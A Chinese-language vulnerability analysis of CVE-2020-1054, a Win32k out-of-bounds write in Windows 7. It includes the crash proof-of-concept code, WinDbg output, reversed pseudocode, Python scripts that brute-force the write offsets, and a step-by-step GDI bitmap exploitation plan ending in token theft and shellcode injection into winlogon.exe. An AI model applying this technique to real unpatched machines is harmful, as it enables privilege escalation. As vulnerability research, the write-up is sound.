CVE-2020-1054分析

 

该文章对今年5月微软发布的安全漏洞CVE-2020-1054进行分析分析。漏洞存在于Win32k内核模块中,利用该漏洞最终会造成权限提升。该漏洞由Check Point Research的Netanel Ben-Simon和Yoav Alon以及奇虎360 Vulcan Team的bee13oy报告。他们在今年的OffensiveCon20会议上发表了名为 Bugs on the Windshield: Fuzzing the Windows Kernel 的演讲。在演讲中详细介绍了他们找到这个bug的过程。

 

产生的崩溃

Netanel和Yoav提供了崩溃代码。 通过这段代码能够直接找到产生崩溃的关键位置,不再需要通过BinDiff进行补丁比对。

int main(int argc, char *argv[])
{
    LoadLibrary("user32.dll");
    HDC r0 = CreateCompatibleDC(0x0);
    // CPR's original crash code called CreateCompatibleBitmap as follows
    // HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
    // however all following calculations/reversing in this blog will 
    // generally use the below call, unless stated otherwise
    // this only matters if you happen to be following along with WinDbg
    HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
    SelectObject(r0, r1);
    DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc, 
        0x0, 0x0, 0x6);
    return 0;
}

代码中相关的函数 CreateCompatibleBitmapDrawIconEx的参数、用法及返回值内容可以在微软官方文档上查到。

我的第一步是在Rust中重写代码并在Windows 7 x64机器上运行它,并在Windbg得到了崩溃时的Context。

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: fffff904c7000240, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff960000a5482, If non-zero, the instruction address which referenced 
    the bad memory address.
Arg4: 0000000000000005, (reserved)
Some register values may be zeroed or incorrect.
rax=fffff900c7000000 rbx=0000000000000000 rcx=fffff904c7000240
rdx=fffff90169dd8f80 rsi=0000000000000000 rdi=0000000000000000
rip=fffff960000a5482 rsp=fffff880028f3be0 rbp=0000000000000000
 r8=00000000000008f0  r9=fffff96000000000 r10=fffff880028f3c40
r11=000000000000000b r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po cy
win32k!vStrWrite01+0x36a:
fffff960`000d5482 418b36   mov esi,dword ptr [r14] ds:00000000`00000000=????????
STACK_TEXT:  
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x722
nt!KeBugCheckEx+0x104
nt!MmAccessFault+0x736
nt!KiPageFault+0x35c
win32k!vStrWrite01+0x36a
win32k!EngStretchBltNew+0x171f
win32k!EngStretchBlt+0x800
win32k!EngStretchBltROP+0x64b
win32k!BLTRECORD::bStretch+0x642
win32k!GreStretchBltInternal+0xa43
win32k!BltIcon+0x18f
win32k!DrawIconEx+0x3b7
win32k!NtUserDrawIconEx+0x14d
nt!KiSystemServiceCopyEnd+0x13
USER32!ZwUserDrawIconEx+0xa
USER32!DrawIconEx+0xd9
cve_2020_1054!CACHED_POW10 <PERF> (cve_2020_1054+0x106d)

崩溃时的 rip 指向的指令是 mov esi,dword ptr [r14] 这条指令在win32k当中 win32k!vStrWrite01+0x36a 在这个位置设置一个断点,能够得到下面的结果。

很明显,崩溃是由于无效的内存引用而发生的,这和windbg中显示的漏洞类型一样。 CheckPoint网站上对这个漏洞的描述是它是一个越界(OOB)写入漏洞。

假设崩溃时访问的地址 0xffff904'c7000240 是能够通过OOB控制其中内容的。这里需要注意的是,下面的文章中使用的地址均为0xffff904'c7000240 ,这个值在每次程序执行的过程中都会更改。

 

控制越界访问

我们的第一个目标是了解如何控制地址 fffff904'c7000240 ,该地址将称为oob_target。 为此,需要对vStrWrite01的相关代码进行逆向分析。 从 mov esi,dword ptr [r14] 指令开始

通过 lea r14, [rcx + rax*4] 设置 r14 寄存器

接着 rcx 寄存器在 vStrWrite01 函数的地一个基本块当中被初始化,然后在下面的循环中继续处理

rcx 寄存器在循环中会一直加上一个常数值,通过汇编指令 add ecx, eax 实现,对应伪代码如下:

var_64h = 0x7fffffff; 
var_6ch = 0x80000000;
while ( r11d )
{
    --r11d;
    if ( ebp >= var_6ch && ebp < var_6ch )
    {
        // oob read/write in here
    }
    ++ebp;
    ecx += eax;
}

循环结束之后得到了 oob_target 的地址

oob_target = initial_value + loop_iterations * eax

接下来需要弄清楚的是循环的次数,查看汇编代码,发现 ebp 通过如下的指令被设置

mov rsi, rcx // rcx在这里依然是arg0
...
mov ebp, [rsi]

这说明 ebpvStrWrite01 函数arg0 参数的第一个4字节。可以在调试器当中获取这个值。

win32k!vStrWrite01:
fffff960`00165118 4885d2          test    rdx,rdx
kd> dd rcx L2
fffff900`c4c76eb0  fff2aaab 0006aaab

fff2aaab 这个数字有些特别,并且我们感觉到了这个数字和 DrawIconEx 函数的第五个参数有关。我们将 DrawIconEx 函数的参数修改成 febffffd

得到下面的结果

win32k!vStrWrite01:
fffff960`00165118 4885d2          test    rdx,rdx
kd> dd rcx L2
fffff900`c2962eb0  fff2aaac 0006aaaa

结果变成了 fff2aaac 这个结果表明它确实和第五个参数有关。我们继续对这个参数进行实验,修改 arg5 并且观察最后得到的 oob_target 的结果

我们发现当 arg5ff000000 的时候,会修改 oob_target 的结果,崩溃在了不同的地方

win32k!vStrWrite01+0x31d:
fffff960`00165435 3b6c246c        cmp     ebp,dword ptr [rsp+6Ch]
kd> dq rcx
fffff903`c7000240  ????????`???????? ????????`????????

如果修改 arg5fd00000 崩溃的结果又有了些许不同

win32k!vStrWrite01+0x31d:
fffff960`00165435 3b6c246c        cmp     ebp,dword ptr [rsp+6Ch]
kd> dq rcx
fffff90a`c7000240  ????????`???????? ????????`????????

有趣的是,无论arg5的值如何, oob_target 的低32位仍为 c7000240 。 此外,arg5值的减少(按无符号处理)会导致 oob_target 的值增加。

oob_target 当中的 eax 通过 r15 当中的 offset 来设置。

r15 当中的偏移量通常在 vStrWrite01 函数的开始使用,这表明 r15 可能是一个指向某个结构体的地址。在第二个基本块当中,通过如下的指令设置r15

mov r15, r8 // r8 is still arg2 here

r15 当中的值就是 vStrWrite01的第二个参数。通过调试器查看函数的第二个参数中的内容:

红色框标记了两个参数的值。 第一个红色框内是传递给 CreateCompatibleBitmaparg1 (表示位图宽度 0x51500)和 arg2 (表示位图高度 0x100 )。 第二个红色框标记了一个值 c7000240 ,该值在之前也见过。 这是 oob_target 的低32位。 最后,蓝色框中的数据表示了用来计算 oob_targeteax 的值。

在Win32k bitmap的内存布局中,上面的内容可能看起来很熟悉,并且确实是Windows内核利用中众所周知的两个相邻结构, BASEOBJECTSURFOBJ 。 换句话说,第一个红色框是 SURFOBJ.sizlBitmap ,第二个红色框是 SUFOBJ.pvScan0 ,蓝色框是 SURFOBJ.lDelta 。 有关这些结构的更多信息,请参见此处

接下来需要知道如何通过 DrawIconEx 函数的 arg5 控制 oob_target 当中的值。此步骤的实现与上面过程类似,但有其他步骤。 因此,仅共享结果。 我GitHub上notes.txt 文件中包含了相关的细节。

通过逆向sys文件的代码我们发现, DrawIconEx 的第5个参数对循环次数的影响主要逻辑如下:

# arg5 of DrawIconEx()
arg5 = 0xffb00000
# arg1 of CreateCompatibleBitmap()
arg1 = 0x51500
loop_iterations = ((1 - arg5) & 0xffffffff) // 0x30
lDelta = arg1 // 8
oob = loop_iterations * lDelta     
upper32_inc = oob & 0xffffffff00000000
print("loop_iterations          = %x" % loop_iterations)
print("lDelta                   = %x" % lDelta)
print("upper 32 inc.            = %x" % upper32_inc)

CreateCompatibleBitmap 函数的 arg1DrawIconExarg5 直接控制 loop_iterationslDelta 的值。 但是, oob_target 的低32位始终保持不变。 这意味着只有写地址的高32位是可控的。

下一步是确定写入的内容以及可以控制的程度。查看 vStrWrite01 的代码发现在执行过程中存在两次写操作:

// write 1
win32k!vStrWrite01+0x417
mov     dword ptr [r14],esi
// write 2
win32k!vStrWrite01+0x461
mov     dword ptr [r14],esi

其中 esi 寄存器的值由以下两个分支当中的一个所决定。

要么是通过亦或运算得到,要么是通过与运算得到。

通过下面的参数调用 DrawIconEx 函数

DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc,
        0x0, 0x0, 0x6);

通过上面的参数调用 DrawIconEx 函数,在代码的执行过程中将只进行按位与的运算。 因为 esi 是通过按位操作设置的,所以 DrawIconExdiFlags (arg8)参数应该是一个非常重要的参数。 当前调用将此参数设置为 0x6 。 查看该标志的文档,可以发现 0x6 等同于 DI_IMAGEDI_IMAGE 标志表示“使用图像绘制图标或光标”。 使用标志 DI_MASK 试试能不能够改变程序的执行流程,发现将 diFlags (arg8)设置为0x1,即 DI_MASK ,可以将执行流程更改为OR分支。

 

漏洞利用

现在已经了解了OOB写入的功能,是时候考虑我们的漏洞利用方法了。目前所获得的原语与“任意地址写”还相距甚远。但是,在这种情况下,我们有可能利用空字节溢出达到最终的目的。

关于这个部分的漏洞利用方法,强烈建议读者重温一下 Abusing GDI Reloaded 以及 Abusing GDI for ring0 exploit primitives。下面我简单的介绍一下。

SURFOBJ 结构体当中包含了 pvScan01sizlBitmap这两个关键的结构体。 pvScan01 指向了实际的 Bitmap 数据。 这些数据可以通过GetBitmapBitsSetBitMapBits 函数来设置。sizlBitMap 是两个Dword,包含位图的高度和宽度。 通常Windows中会使用两个 SURFOBJ 结构体。通过任意地址读写覆盖掉第一个 SURFOBJ 的pvScan01 ,把他的值写成第二个SURFOBJ结构体中的pvScan01的地址,之后就能够实现可重用、可重定位的任意地址写漏洞利用原语了。任意地址写(write what where)的what和where分别由两个值决定。

what is a value either bitwise OR'd or AND'd
where is a value >= fffff901'c7000240

显然这不符合传统pvScan01漏洞利用的要求,但是幸运的是,还有一个利用 sizlBitmap 的选项。在Window7和Windows10的老版本中,SURFOBJ结构提和他的 pvScan01 成员变量在内存中是连续的。因此如果增加 sizlBitmap 的宽和高就可以使用 SizeBitMapBits 的调用来做到越界写,影响到SURFOBJ后面的 pvScan01 变量。
如果在第一个SURFOBJ后面还有一个SURFOBJ的话,这个SURFOBJ对象的 pvScan01 成员指针就能够被覆写掉。然后可以通过 SetBitMapBits 将第二个SURFOBJ对象用于任意地址写。

总结到目前为止获得的信息,漏洞利用的过程如下

  1. 申请一个基本的bitmap (fffff900’c700000)
  2. 申请足够多的SURFOBJs(通过CreateCompatibleBitmap)这样其中一个会被分配在(fffff900’c700000)
    1. 另一个SURFOBJ会被分配在第一个的后面
    2. 同时第三个SURFOBJ会被分配在第二个的后面
  3. 计算出 loop_iterations * lDelta 的值,让这个值等于 fffff901'c7000240
  4. 通过越界写修改掉第二个SURFOBJ对象的 sizlBitmap
  5. 将第二个SURFOBJ作为参数,通过 SetBitMapBits 函数覆盖掉第三个SURFOBJ对象的 pvScan01 指针
  6. 接下来就能够做到任意地址写
  7. 修改进程的token并且往 winlogon.exe 当中注入shellcode做到EoP(权限提升)

一个简单的示意图如下:

除了步骤3之外,其他的步骤都能够很容易的完成。写入的值,我们不用考虑,因为根据他的代码,我们可以执行按位或的运算。这样可以通过按位或运算增加某个数的值。

精确的定位 sizlBitmap 的高度或者宽度才是一个挑战,这两个值是通过 lea r14 [rcx + rax * 4] 来设置的。但是现在我们还没有找到 rax 的值是怎么被设定的。如果能够控制 rax 的值,就能够实现精确的越界写。

经过测试不同的参数,我们发现 DrawIconEx 函数的第一个参数决定了 rax 寄存器的值, rax 之后会除0x20:

这就让我们能够设置从低32位开始的偏移量:

offset = (arg1 // 0x20 ) * 0x4 + 0x240

当测试 DrawIconEx 函数的 mov dword ptr[r14], esi 指令也提供了有用的信息。 DrawIconEx函数的arg2控制了循环的次数,决定了写操作被迭代了多少次。举个例子,如果arg2被设置成了0x5,那么将执行5次写操作(如下图所示)。

写入地址之间的距离差值由 lDelta 决定。这里可以用伪代码表示如下:

intial_value = 0xfffff901`c7000240 + (arg1 // 0x20) * 0x4;
loop_count = 0;
while(arg2) 
{
    write_location_1 = intial_value + lDelta * loop_count;
    write location_2 = write_location_1 + 4;
    --arg2;
    ++loop_count;
}

需要根据目标的地址解出三个值,这样才能够精确控制循环,让他在某一次的循环过程中 write_location_1write_location_2 能够恰好落在surfobj1的 csizBitmap 上。这三个值分别为 arg1 arg2IDelta (Bitmap的宽 // 8)

通过python能够爆破出这几个值来

print("bruting function arguments...") 
# start with size at 0x50000 
for size in range(0x50000, 0xffffff):
    lDelta = size // 0x8 
    # lDelta is always byte alligned so ignore if not
    if lDelta & 0x0f == 0:
        for arg1 in range(0x0, 0xfff, 0x20):
            offset = (arg1 // 0x20) * 0x4 + 0x240
            for arg2 in range(0x0,0x10):
                write_target = offset + arg2 * lDelta
                if write_target == 0x70038:
                    print("found: size {:x}, offset (arg1) {:x}, lDelta {:x}, 
                    loop_count (arg2) {:x}".format(size, arg1, lDelta, arg2))

既然已经理解了所有值,剩下的就是编写漏洞利用代码。

 

漏洞利用代码

漏洞利用代码能够在Github上面找到

 

Windows 7 KB

当在Windows7上面测试的时候代码是非常的稳定的,当然,这还有继续改进的空间,使得内存地址的计算更加的通用。在测试的过程中,我发现某一个Windows KB稍微修改的SURFOBJ的结构体,他里面的 pvScan0 成员偏移不再是0x240,而是0x238。在漏洞利用代码中有两条注释,标记了要使用的值,具体的值取决于Windows 7是在KB之前还是在KB之后。

Thanks to Netanel Ben-Simon, Yoav Alon and bee130y for finding the bug:

(完)